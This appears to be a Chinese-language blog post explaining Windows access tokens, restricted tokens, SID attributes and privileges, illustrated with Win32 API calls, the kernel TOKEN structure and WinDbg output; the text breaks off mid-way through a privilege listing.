    <updated>2020-07-16T13:31:30.428Z</updated>
    
    <content type="html"><![CDATA[<p>Windows 安全相关知识下半节，这一章主要讲一下除了SID，DACL这类，还有哪些安全对象也在 Windows 安全中发挥着重要的作用</p><h2 id="more-windows-安全相关-下"><span id="more"></span><br>Windows 安全相关（下）</h2><p>这一段会尝试介绍一下 Windows 整个操作系统中，参与了安全保护的各个部件。</p><h2 id="access-token-访问令牌">Access Token 访问令牌</h2><p>当用户登录操作系统的时候，操作系统会要求用户输入密码，输入的密码会与Windows的安全数据库（security database）的信息进行比较。当密码得到验证（authenticated）之后，系统将会产生一个Access Token，代表了当前登录用户的权限。<br>每一个 Access Token 都是描述了一个进程或者线程的安全上下文，包括身份以及特权（privilege）。</p><h3 id="access-token-使用场合">Access Token 使用场合</h3><p>当一个线程尝试进行如下操作的时候，操作系统会使用 Access Token 来识别一个用户</p><ul><li>与安全对象（Secure Object）进行交互</li><li>执行一些需要系统权限的任务（例如对进程进行调试）</li></ul><h3 id="access-token-包含内容">Access Token 包含内容</h3><p>一个Access Token中实际上包含了如下的内容：</p><ul><li>用户账户的SID</li><li>用户从属组的SID</li><li>当前登录会话(logon session)的SID</li><li>用户以及从属组所持有的特权</li><li>token 从属者的SID</li><li>主从属组(primary Group)的SID</li><li>当创建安全对象的时候，如果不指定安全描述符时系统会赋予的默认DACL</li><li>Access Token 的源</li><li>当前 token 是 primary（主token）还是 impersonation（模仿token）</li><li>一系列可选的限制Token （Restricted Token）</li><li>当前的模仿等级（impersonation level）</li><li>一些其他的东西</li></ul><h3 id="primary-impersonation-token-主token-模仿token">Primary/Impersonation Token 主Token/模仿token</h3><p>从逻辑上讲，线程从属进程，而用户直接创建的是进程，所以进程中会持有象征着创建者的Token，这个Token就被称为主token （primary token）。一个主token中会记录当前用户与进程相关联的有效的安全上下文（secure context）。而实际上与安全对象交互的往往是线程，所以默认情况下主token是由线程携带与安全对象进行交互。</p><p>不过特殊情况下（例如在一些RPC场合，或者在一些CS架构的软件，server端限制client端权限的时候等），可能会出现某些线程需要<strong>以创建当前进程不同的，其他用户的身份访问安全对象</strong>的时候，这个时候会给线程一个特殊的token，被称为<strong>模仿token（impersonation token）</strong>。此时的线程使用属于自己的token，并且有不同于进程的权限。</p><h3 id="相关api">相关API</h3><p>此时可以使用</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">OpenProcessToken </span><br><span class="line">OpenThreadToken</span><br></pre></td></tr></table></figure><p>来检查当前进程/线程的使用token</p><h4 id="windbg-查看方式">Windbg 查看方式</h4><p>windbg中可以方便的查看一个进程的token</p><p><strong>user mode</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line">!token</span><br><span class="line">0:000&gt; !token</span><br><span class="line">Thread is not impersonating. Using process token...</span><br><span class="line">TS Session ID: 0x1</span><br><span class="line">User: S-1-5-21-3132730683-2216882805-422503560-1001</span><br><span class="line">User Groups:</span><br><span class="line"> 00 S-1-16-8192</span><br><span class="line">    Attributes - GroupIntegrity GroupIntegrityEnabled </span><br><span class="line"> 01 S-1-1-0</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 02 S-1-5-114</span><br><span class="line">    Attributes - DenyOnly </span><br><span class="line"> 03 S-1-5-32-544</span><br><span class="line">    Attributes - DenyOnly </span><br><span class="line"> 04 S-1-5-32-545</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 05 S-1-5-32-559</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 06 S-1-5-4</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 07 S-1-2-1</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 08 S-1-5-11</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 09 S-1-5-15</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 10 S-1-11-96-3623454863-58364-18864-2661722203-1597581903-544001092-2724467026-4283684584-2191855628-1410562263</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 11 S-1-5-113</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 12 S-1-5-5-0-5228497</span><br><span class="line">    Attributes - Mandatory Default Enabled LogonId </span><br><span class="line"> 13 S-1-2-0</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 14 S-1-5-64-36</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line">Primary Group: S-1-5-21-3132730683-2216882805-422503560-1001</span><br><span class="line">Privs: </span><br><span class="line"> 00 0x000000013 SeShutdownPrivilege               Attributes - </span><br><span class="line"> 01 0x000000017 SeChangeNotifyPrivilege           Attributes - Enabled Default </span><br><span class="line"> 02 0x000000019 SeUndockPrivilege                 Attributes - </span><br><span class="line"> 03 0x000000021 SeIncreaseWorkingSetPrivilege     Attributes - </span><br><span class="line"> 04 0x000000022 SeTimeZonePrivilege               Attributes - </span><br><span class="line">Auth ID: 0:4fea7c</span><br><span class="line">Impersonation Level: Anonymous</span><br><span class="line">TokenType: Primary</span><br><span class="line">Is restricted token: no.</span><br><span class="line">SandBoxInert: 0</span><br><span class="line">Elevation Type: 3 (Limited)</span><br><span class="line">Mandatory Policy: TOKEN_MANDATORY_POLICY_VALID_MASK</span><br><span class="line">Integrity Level: S-1-16-8192</span><br><span class="line">    Attributes - GroupIntegrity GroupIntegrityEnabled </span><br><span class="line">Process Trust Level:   LocalDumpSid failed to dump Sid at addr 000000ee876fabb8, 0xC0000078; try own SID dump.</span><br><span class="line">s-1-0</span><br><span class="line">    Attributes - </span><br><span class="line">Token Virtualized: Disabled</span><br><span class="line">UIAccess: 0</span><br><span class="line">IsAppContainer: 0</span><br><span class="line">Security Attributes Information:</span><br><span class="line"> 00 Attribute Name: TSA://ProcUnique</span><br><span class="line">    Value Type: TOKEN_SECURITY_ATTRIBUTE_TYPE_UINT64</span><br><span class="line">    Value[0]: 283</span><br><span class="line">    Value[1]: 428746286</span><br><span class="line">Device Groups:</span><br></pre></td></tr></table></figure><p><strong>kernel mode</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">!process 0 0 // 找到对应的进程</span><br><span class="line">!process PROCESS //查看具体的进程，找到其中的TOKEN</span><br><span class="line">!token TOKEN // 查看token信息</span><br></pre></td></tr></table></figure><h4 id="实例：获取token句柄">实例：获取Token句柄</h4><p>通常情况下，我们的程序拿到的token都是<strong>伪token(pseudo token)</strong>。这种方式主要是为了托管我们对内核句柄的操作:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">HANDLE hToken = <span class="built_in">GetCurrentProcessToken</span>();</span><br></pre></td></tr></table></figure><p>如上，虽然从API可知我们尝试获取了当前进程中的token（也就是primary token）但是此时的token值为:<code>0xfffffffffffffffc</code>（64位下），显然不是一个真正的handle值。在某些场合下（需要知道确切句柄值的API的时候）会无法正常使用。如果需要知道此时真正的token的时候，需要使用<code>OpenProcessToken</code>这个API:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">OpenProcessToken</span>(hProcess, TOKEN_ALL_ACCESS, &amp;hToken);</span><br></pre></td></tr></table></figure><p>这里注意，不可以使用<code>DuplicateHandle</code>这个API！因为这个API在MSDN上写的其实是:</p><blockquote><p>If hSourceHandle is a pseudo handle returned by GetCurrentProcess or GetCurrentThread, DuplicateHandle converts it to a real handle to a process or thread, respectively.</p></blockquote><p>也就是说<strong>只有进程和线程的伪句柄才生效</strong>。对于token的伪句柄是不生效的。</p><h3 id="restricted-token-限制令牌">Restricted Token 限制令牌</h3><p>限制令牌是由API<code>CreateRestrictedToken</code>创建的一种主/模仿token。一个跑在限制token的安全上下文的进程或者模仿线程将会收到访问安全对象的限制，以及一些特权操作的限制。具体来说，会以如下的方式来限制一个token</p><ul><li>移除token中的特权</li><li>对 token 中的 SIDs 应用 <code>deny-only</code> 的属性，从而让其无法访问到安全对象。（详情看后面的<code>访问令牌中的SID属性</code>）</li><li>显示指定一系列的限制SID来限制安全对象访问</li></ul><p>当系统检查一个token是对访问安全对象的访问权限的时候，系统通常会使用一系列的限制SIDs。当一个被限制的进程/线程尝试访问一个安全对象的时候，系统会进行两种检查：</p><ul><li>检查token中被启用的SIDs</li><li>检查一系列的限制SIDs</li></ul><p>只有当两种权限都被允许的时候，才能够访问这个对象。</p><p>API <code>CreateProcessAsUser</code> 拥有创建一个有指定token权限的进程，但是一般情况下需要有特权<code>SE_ASSIGNPRIMARYTOKEN_NAME</code>。然而，当指定的进程token为限制token的时候，创建的父进程可以不具有特权也可创建。</p><h3 id="sid-attributes-in-an-access-token">SID Attributes in an Access Token</h3><p>每一个用户组拥有的<code>访问token</code>都有一系列的属性来说明操作系统要如何使用这个访问检查，一般来说有如下两种检查方式:</p><table><thead><tr><th>Attribute</th><th>Description</th></tr></thead><tbody><tr><td>SE_GROUP_ENABLED</td><td>启用了这个属性的SID能够被进行访问检查。当系统尝试进行访问检查的时候，当检查当前的SID对应的ACE中状态为<code>allowed\deny</code>的时候，能够被检查到。与此同时，<strong>未设置这个属性的（除了<code>SE_GROUP_USE_FOR_DENY_ONLY</code>）的SID将会被忽略检查</strong></td></tr><tr><td>SE_GROUP_USE_FOR_DENY_ONLY</td><td>启用这个属性的SID被称为<code>deny-only</code>的SID，当系统进行访问检查的时候，<strong>只会检查对当前SID中deny的权限，而忽略所有allow的权限</strong>，也就是只关注这个SID被显示的拒绝了什么权限，而不关注其被允许的权限。一旦这个属性被设置的话，<code>SE_GROUP_ENABLED</code>将无法被设置，并且SID不能被enable。</td></tr></tbody></table><h3 id="对访问token的访问权限控制">对访问Token的访问权限控制</h3><p>一个应用只有在获得相应权限的时候才能够去修改一个ACL。这些权限被记录在访问Token中的安全描述符中。<br>如果才想要设置一个访问Token的安全描述符的时候，需要调用<code>GetKernelObjectSecurity/SetKernelObjectSecurity</code>等相关API。<br>当需要使用<code>OpenProcessToken/OpenThreadToken</code>获取的Token的时候，系统就会检查请求的权限和记录在token的安全描述符中的DACL中的差异。一般来说一个有效的访问权限token有以下的权限：</p><ul><li>标准权限中，不支持<code>SYNCHRONIZE</code>，其余的<code>DELETE, READ_CONTROL, WRITE_DAC, WRITE_OWNER </code>都有</li><li>拥有<code> ACCESS_SYSTEM_SECURITY</code>的SACL的权限</li><li>其中Token还有一些只属于自己的权限。可以参考<a href="https://docs.microsoft.com/en-us/windows/win32/secauthz/access-rights-for-access-token-objects">MSDN官方文档</a></li></ul><h2 id="特权-privilege">特权 privilege</h2><p>特权<code>privilege</code>（例如一般的用户账号或者组账号——在本地计算机中执行的各种与系统相关的操作(例如开关闭系统，加载驱动，更改系统事件等等)的权利。特权(privilege)和之前提到过的访问权限(access right)有两个不同的地方:</p><ul><li>特权控制的是对系统资源以及系统相关任务的访问权限，然而访问权限控制的是对<strong>安全对象</strong>的访问权限。</li><li>只有系统管理员才能够将权限赋予用户/组（相当于提前给予的），然而系统可以基于一个对象的DCAL中的某一个ACE赋予/拒绝其对于某一个安全对象的访问权限。（相当于根据某个设定动态设定）</li></ul><p>每一个系统都有一个用户数据库（account database），里面存储了每一个用户/组的特权信息。当用户尝试登录系统的时候，系统将会提供一个包含了当前用户所有特权的<strong>访问token</strong>，以及授予用户这个访问token中的用户/组的特权。不过，这个特权<strong>只适用于本地计算机，在域中并不适用</strong>。当用户尝试进行一个特权操作的时候，系统将会检查访问token中的特权位，检查其是否包含对应的特权权限，如果有的话，才会允许执行。这里大致展示一下:</p><p><strong>TOKEN与Privilege</strong><br>TOKEN的结构体大致长这个样子</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">_TOKEN</span></span><br><span class="line">&#123;</span><br><span class="line">     TOKEN_SOURCE TokenSource;</span><br><span class="line">     LUID TokenId;</span><br><span class="line">     LUID AuthenticationId;</span><br><span class="line">     LUID ParentTokenId;</span><br><span class="line">     LARGE_INTEGER ExpirationTime;</span><br><span class="line">     PERESOURCE TokenLock;</span><br><span class="line">     LUID ModifiedId;</span><br><span class="line">     SEP_TOKEN_PRIVILEGES Privileges;</span><br><span class="line">     SEP_AUDIT_POLICY AuditPolicy;</span><br><span class="line">     ULONG SessionId;</span><br><span class="line">     ULONG UserAndGroupCount;</span><br><span class="line">     ULONG RestrictedSidCount;</span><br><span class="line">     ULONG VariableLength;</span><br><span class="line">     ULONG DynamicCharged;</span><br><span class="line">     ULONG DynamicAvailable;</span><br><span class="line">     ULONG DefaultOwnerIndex;</span><br><span class="line">     PSID_AND_ATTRIBUTES UserAndGroups;</span><br><span class="line">     PSID_AND_ATTRIBUTES RestrictedSids;</span><br><span class="line">     PVOID PrimaryGroup;</span><br><span class="line">     ULONG * DynamicPart;</span><br><span class="line">     PACL DefaultDacl;</span><br><span class="line">     TOKEN_TYPE TokenType;</span><br><span class="line">     SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;</span><br><span class="line">     ULONG TokenFlags;</span><br><span class="line">     UCHAR TokenInUse;</span><br><span class="line">     ULONG IntegrityLevelIndex;</span><br><span class="line">     ULONG MandatoryPolicy;</span><br><span class="line">     PSECURITY_TOKEN_PROXY_DATA ProxyData;</span><br><span class="line">     PSECURITY_TOKEN_AUDIT_DATA AuditData;</span><br><span class="line">     PSEP_LOGON_SESSION_REFERENCES LogonSession;</span><br><span class="line">     LUID OriginatingLogonSession;</span><br><span class="line">     SID_AND_ATTRIBUTES_HASH SidHash;</span><br><span class="line">     SID_AND_ATTRIBUTES_HASH RestrictedSidHash;</span><br><span class="line">     ULONG VariablePart;</span><br><span class="line">&#125; TOKEN, *PTOKEN;</span><br></pre></td></tr></table></figure><p>其中<code>SEP_TOKEN_PRIVILEGES</code>表示的就是当前TOKEN的特权：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">nt!_SEP_TOKEN_PRIVILEGES</span><br><span class="line">   +<span class="number">0x000</span> Present          : Uint8B</span><br><span class="line">   +<span class="number">0x008</span> Enabled          : Uint8B</span><br><span class="line">   +<span class="number">0x010</span> EnabledByDefault : Uint8B</span><br></pre></td></tr></table></figure><p>这个<code>_SEP_TOKEN_PRIVILEGES.Enabled</code>中的每一个bit就表示一种特权。前文提到的<em>当用户尝试进行一个特权操作的时候，系统将会检查访问token中的特权位</em>，实际上就是检查<code>SEP_TOKEN_PRIVILEGES.Enabled</code>中的bit位是否为1.</p><h4 id="实践：在windbg-kernel-debug-下检查当前进程-token-的特权">实践：在windbg（kernel debug）下检查当前进程 token 的特权</h4><p>用之前提过的技巧，首先找到当前进程的TOKEN地址:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">: kd&gt; !process aed07600 1</span><br><span class="line">PROCESS aed07600  SessionId: 1  Cid: 1b90    Peb: 00451000  ParentCid: 0d24</span><br><span class="line">    DirBase: 3ffd35c0  ObjectTable: af3f4540  HandleCount:  38.</span><br><span class="line">    Image: Exploit.exe</span><br><span class="line">    VadRoot a6f684a0 Vads 31 Clone 0 Private 105. Modified 0. Locked 0.</span><br><span class="line">    DeviceMap 9cf61548</span><br><span class="line">    Token                             8bfd18a0 &lt;--------------注意这里</span><br><span class="line">    ElapsedTime                       00:04:57.845</span><br><span class="line">    UserTime                          00:00:00.000</span><br><span class="line">    KernelTime                        00:00:00.000</span><br><span class="line">    QuotaPoolUsage[PagedPool]         25664</span><br><span class="line">    QuotaPoolUsage[NonPagedPool]      2540</span><br><span class="line">    Working Set Sizes (now,min,max)  (650, 50, 345) (2600KB, 200KB, 1380KB)</span><br><span class="line">    PeakWorkingSetSize                784</span><br><span class="line">    VirtualSize                       16 Mb</span><br><span class="line">    PeakVirtualSize                   17 Mb</span><br><span class="line">    PageFaultCount                    810</span><br><span class="line">    MemoryPriority                    BACKGROUND</span><br><span class="line">    BasePriority                      8</span><br><span class="line">    CommitCharge                      131</span><br></pre></td></tr></table></figure><p>然后这里我们找到了对应token的地址，我们使用<code>dt</code>去检查一下其内存中的形式:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; dt nt!_TOKEN  8bfd18a0</span><br><span class="line">   +0x000 TokenSource      : _TOKEN_SOURCE</span><br><span class="line">   +0x010 TokenId          : _LUID</span><br><span class="line">   +0x018 AuthenticationId : _LUID</span><br><span class="line">   +0x020 ParentTokenId    : _LUID</span><br><span class="line">   +0x028 ExpirationTime   : _LARGE_INTEGER 0x7fffffff`ffffffff</span><br><span class="line">   +0x030 TokenLock        : 0xaedba148 _ERESOURCE</span><br><span class="line">   +0x034 ModifiedId       : _LUID</span><br><span class="line">   +0x040 Privileges       : _SEP_TOKEN_PRIVILEGES</span><br><span class="line">   +0x058 AuditPolicy      : _SEP_AUDIT_POLICY</span><br><span class="line">   +0x078 SessionId        : 1</span><br><span class="line">   +0x07c UserAndGroupCount : 0xf</span><br><span class="line">   +0x080 RestrictedSidCount : 0</span><br><span class="line">   +0x084 VariableLength   : 0x78</span><br><span class="line">   +0x088 DynamicCharged   : 0x1000</span><br><span class="line">   +0x08c DynamicAvailable : 0</span><br><span class="line">   +0x090 DefaultOwnerIndex : 4</span><br><span class="line">   +0x094 UserAndGroups    : 0x8bfd1b40 _SID_AND_ATTRIBUTES</span><br><span class="line">   +0x098 RestrictedSids   : (null) </span><br><span class="line">   +0x09c PrimaryGroup     : 0xa3379658 Void</span><br><span class="line">   +0x0a0 DynamicPart      : 0xa3379658  -&gt; 0x501</span><br><span class="line">   +0x0a4 DefaultDacl      : 0xa3379674 _ACL</span><br><span class="line">   +0x0a8 TokenType        : 1 ( TokenPrimary )</span><br><span class="line">   +0x0ac ImpersonationLevel : 0 ( SecurityAnonymous )</span><br><span class="line">   +0x0b0 TokenFlags       : 0x2000</span><br><span class="line">   +0x0b4 TokenInUse       : 0x1 &#x27;&#x27;</span><br><span class="line">   +0x0b8 IntegrityLevelIndex : 0xe</span><br><span class="line">   +0x0bc MandatoryPolicy  : 1</span><br><span class="line">   +0x0c0 LogonSession     : 0x9e7756c8 _SEP_LOGON_SESSION_REFERENCES</span><br><span class="line">   +0x0c4 OriginatingLogonSession : _LUID</span><br><span class="line">   +0x0cc SidHash          : _SID_AND_ATTRIBUTES_HASH</span><br><span class="line">   +0x154 RestrictedSidHash : _SID_AND_ATTRIBUTES_HASH</span><br><span class="line">   +0x1dc pSecurityAttributes : 0xaf366428 _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION</span><br><span class="line">   +0x1e0 Package          : (null) </span><br><span class="line">   +0x1e4 Capabilities     : (null) </span><br><span class="line">   +0x1e8 CapabilityCount  : 0</span><br><span class="line">   +0x1ec CapabilitiesHash : _SID_AND_ATTRIBUTES_HASH</span><br><span class="line">   +0x274 LowboxNumberEntry : (null) </span><br><span class="line">   +0x278 LowboxHandlesEntry : (null) </span><br><span class="line">   +0x27c pClaimAttributes : (null) </span><br><span class="line">   +0x280 TrustLevelSid    : (null) </span><br><span class="line">   +0x284 TrustLinkedToken : (null) </span><br><span class="line">   +0x288 IntegrityLevelSidValue : 0xae8aa528 Void</span><br><span class="line">   +0x28c TokenSidValues   : 0x9e748038 _SEP_SID_VALUES_BLOCK</span><br><span class="line">   +0x290 IndexEntry       : 0xb53e5b20 _SEP_LUID_TO_INDEX_MAP_ENTRY</span><br><span class="line">   +0x294 DiagnosticInfo   : (null) </span><br><span class="line">   +0x298 BnoIsolationHandlesEntry : (null) </span><br><span class="line">   +0x29c SessionObject    : 0x8e0eb6f8 Void</span><br><span class="line">   +0x2a0 VariablePart     : 0x9e748044</span><br><span class="line">1: kd&gt; dx -id 0,0,aed07600 -r1 (*((ntkrpamp!_SEP_TOKEN_PRIVILEGES *)0x8bfd18e0))</span><br><span class="line">(*((ntkrpamp!_SEP_TOKEN_PRIVILEGES *)0x8bfd18e0))                 [Type: _SEP_TOKEN_PRIVILEGES]</span><br><span class="line">    [+0x000] Present          : 0x1e73deff20 [Type: unsigned __int64]</span><br><span class="line">    [+0x008] Enabled          : 0x60800000 [Type: unsigned __int64]</span><br><span class="line">    [+0x010] EnabledByDefault : 0x60800000 [Type: unsigned __int64]</span><br></pre></td></tr></table></figure><p>可以看到，<code>_SEP_TOKEN_PRIVILEGES.Enabled</code>的值为<code>0x60800000</code>，写成bit的形式就是:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">1100000100000000000000000000000</span><br></pre></td></tr></table></figure><p>此时直接查看token 的内容为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><span class="line">_EPROCESS 0xffffffffaed07600, _TOKEN 0x0000000000000000</span><br><span class="line">TS Session ID: 0x1</span><br><span class="line">User: S-1-5-21-3717723882-702046769-3252787667-1000</span><br><span class="line">User Groups: </span><br><span class="line"> 00 S-1-5-21-3717723882-702046769-3252787667-513</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 01 S-1-1-0</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 02 S-1-5-114</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 03 S-1-5-32-544</span><br><span class="line">    Attributes - Mandatory Default Enabled Owner </span><br><span class="line"> 04 S-1-5-32-545</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 05 S-1-5-4</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 06 S-1-2-1</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 07 S-1-5-11</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 08 S-1-5-15</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 09 S-1-5-113</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 10 S-1-5-5-0-141477</span><br><span class="line">    Attributes - Mandatory Default Enabled LogonId </span><br><span class="line"> 11 S-1-2-0</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 12 S-1-5-64-10</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 13 S-1-16-12288</span><br><span class="line">    Attributes - GroupIntegrity GroupIntegrityEnabled </span><br><span class="line">Primary Group: S-1-5-21-3717723882-702046769-3252787667-513</span><br><span class="line">Privs: </span><br><span class="line"> 05 0x000000005 SeIncreaseQuotaPrivilege          Attributes - </span><br><span class="line"> 08 0x000000008 SeSecurityPrivilege               Attributes - </span><br><span class="line"> 09 0x000000009 SeTakeOwnershipPrivilege          Attributes - </span><br><span class="line"> 10 0x00000000a SeLoadDriverPrivilege             Attributes - </span><br><span class="line"> 11 0x00000000b SeSystemProfilePrivilege          Attributes - </span><br><span class="line"> 12 0x00000000c SeSystemtimePrivilege             Attributes - </span><br><span class="line"> 13 0x00000000d SeProfileSingleProcessPrivilege   Attributes - </span><br><span class="line"> 14 0x00000000e SeIncreaseBasePriorityPrivilege   Attributes - </span><br><span class="line"> 15 0x00000000f SeCreatePagefilePrivilege         Attributes - </span><br><span class="line"> 17 0x000000011 SeBackupPrivilege                 Attributes - </span><br><span class="line"> 18 0x000000012 SeRestorePrivilege                Attributes - </span><br><span class="line"> 19 0x000000013 SeShutdownPrivilege               Attributes - </span><br><span class="line"> 20 0x000000014 SeDebugPrivilege                  Attributes - </span><br><span class="line"> 22 0x000000016 SeSystemEnvironmentPrivilege      Attributes - </span><br><span class="line"> 23 0x000000017 SeChangeNotifyPrivilege           Attributes - Enabled Default </span><br><span class="line"> 24 0x000000018 SeRemoteShutdownPrivilege         Attributes - </span><br><span class="line"> 25 0x000000019 SeUndockPrivilege                 Attributes - </span><br><span class="line"> 28 0x00000001c SeManageVolumePrivilege           Attributes - </span><br><span class="line"> 29 0x00000001d 